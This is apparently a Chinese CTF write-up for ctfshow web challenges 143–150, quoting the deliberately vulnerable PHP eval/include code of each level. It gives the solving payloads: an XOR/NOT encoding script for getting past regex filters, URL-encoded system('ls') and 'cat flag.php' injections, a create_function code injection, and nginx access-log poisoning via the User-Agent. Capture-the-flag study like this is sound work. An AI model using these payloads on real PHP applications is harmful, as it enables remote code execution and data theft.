if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

跟之前那个代码很像,但是多了不少waf,取反符被禁了,取反用不了

看到网上大佬的异或脚本,直接跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$l = "";
$r = "";
// 定义需要进行异或处理的目标字符串,可替换此处的 "system"
$argv = str_split("system");

// 外层循环:遍历目标字符串的每个字符
for ($i = 0; $i < count($argv); $i++) {
// 内层循环:遍历 ASCII 码 0-254 的所有可能值
for ($j = 0; $j < 255; $j++) {
// 核心:计算 chr(j) 和 chr(255)(即 %ff 对应的字符)的异或结果
$k = chr($j) ^ chr(255);

// 当异或结果等于目标字符串的当前字符时,记录对应的十六进制编码
if ($k == $argv[$i]) {
// 处理 j < 16 的情况,补 0 生成 %0x 格式(如 j=1 → %01)
if ($j < 16) {
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
// 处理 j >= 16 的情况,直接生成 %xx 格式(如 j=17 → %11
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}

// 输出最终的异或表达式格式:('$l')^('$r')
echo "('$l')^('$r')";
?>

然后这次他ban掉了加减除,乘没ban掉,所以在v3前后加上*号,连接三个参数

?v1=1&v2=2&v3=*(%27%ff%ff%ff%ff%ff%ff%27^%27%8c%86%8c%8b%9a%92%27)(%27%ff%ff%27^%27%93%8c%27)*

这里的v3是system(ls)

最终payload

?v1=1&v2=2&v3=*(%27%ff%ff%ff%ff%ff%ff%27^%27%8c%86%8c%8b%9a%92%27)(%27%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%27^%27%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f%27)*

web144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

跟上一题差不多,只是这题多了个要检查v3的长度是否为1,是1再继续执行程序,那就v3和v2传参的值变换一下

?v1=1&v3=-&v2=(%27%ff%ff%ff%ff%ff%ff%27^%27%8c%86%8c%8b%9a%92%27)(%27%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%27^%27%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f%27)

web145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

这题加减乘除不能用了,可以用|,取反就能解

?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%93%8C)| system(ls)

?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)| system(cat flag.php)

web146

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

沿用145的payload

?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|

web147

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

看这题的提示说

1
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

好像跟create_function函数有关系

1
2
3
4
5
6
7
create_function('$a','echo $a."123"')

类似于

function f($a) {
echo $a."123";
}

这个函数有漏洞,如果$a在中间可控,闭合前面和后面的代码,然后加上恶意命令执行,就有漏洞

所以这题POST传参的ctf可以设置成create_function,调用create_function函数,然后get传参show,利用漏洞闭合前面和后面,中间加上恶意命令执行

1
2
?show=}system("ls");/*
ctf=\create_function

ls改成cat flag.php就能解出flag,7.20版本之前可以用这个漏洞解题

web148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

过滤了~,取反不能用,那就用异或

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

web149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

条件竞争,遍历当前目录下所有文件,如果文件不是index.php,就删掉,但是这里有个非预期解

他不删index.php,那可以朝index.php里面写入恶意命令

1
2
?ctf=index.php
cmd=system("ls /")

web150

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

非预期日志包含,ua写马

1
2
3
?isVIP=true
ctf=/var/log/nginx/access.log
cmd=system("ls /")